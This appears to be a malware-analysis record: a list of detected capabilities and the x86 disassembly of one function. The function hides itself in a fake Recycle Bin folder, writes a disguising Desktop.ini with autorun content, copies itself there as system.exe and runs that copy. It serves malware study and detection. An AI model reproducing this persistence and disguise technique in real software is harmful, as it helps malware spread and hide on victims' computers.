Function at 0x4022bc
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Create thread
Delete file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x470
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x46c], eax
mov ax, word [0x4044a8]
push ebx
push ebp
push esi
push edi
mov word [esp + 0x274], ax
xor esi, esi
mov al, byte [0x4044aa]
push 0x101
mov byte [esp + 0x27a], al
lea eax, [esp + 0x27b]
push esi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x170]
mov ebp, 0x104
push ebp
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4024f8
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [esp + 0x274]
push ebp
push eax
lea eax, [esp + 0x74]
push eax
call ebx
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea eax, [esp + 0x6c]
push str.S_1_6_21_2434476501_1644491937_600003330_1213
push ebp
push eax
call edi
add esp, 0xc
lea eax, [esp + 0x6c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x6c]
push 7
push eax
call ebp
push 0x104
lea eax, [esp + 0x70]
push eax
lea eax, [esp + 0x380]
push eax
call ebx
push str.Desktop.ini
lea eax, [esp + 0x37c]
push 0x104
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
lea eax, [esp + 0x384]
add esp, 0xc
push esi
push 6
push 2
push esi
push esi
push 0x40000000
push eax
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4024f8
mov ecx, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4023c4
push 0
lea eax, [esp + 0x14]
sub ecx, edx
push eax
push ecx
push str._autorun__r_nopen
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x4044ac
lea eax, [esp + 0x70]
push 0x104
push eax
call edi
push str.system.exe
lea eax, [esp + 0x7c]
push 0x104
push eax
call edi
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x18c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 0x20
test eax, eax
je 0x4024fc
push 0x80
lea eax, [esp + 0x70]
push eax
call ebp
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ebx, ebx
lea eax, [esp + 0x6c]
push ebx
push eax
lea eax, [esp + 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4024f8
push 0x104
lea eax, [esp + 0x70]
push eax
lea eax, [esp + 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor eax, eax
lea edi, [esp + 0x18]
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
pop edi
push edi
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x34], 0x40428b
xor eax, eax
mov dword [esp + 0x28], edi
mov word [esp + 0x58], ax
xor ecx, ecx
lea eax, [esp + 0x18]
inc ecx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x58], ecx
push eax
push ebx
push ebx
push 0x28
push ecx
push ebx
push ebx
push ebx
lea eax, [esp + 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4024f8
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x18]
call esi
push dword [esp + 0x1c]
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xffffffffffffffff
jmp 0x4024f2
xor ebp, ebp
lea eax, [esp + 0x170]
push ebp
push ebp
push 4
push ebp
push 1
push connect
push eax
call ebx
cmp eax, 0xffffffff
je 0x4024f8
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push eax
push ebp
push ebp
push 0x402551
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x47c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040303d
add esp, 0x470
ret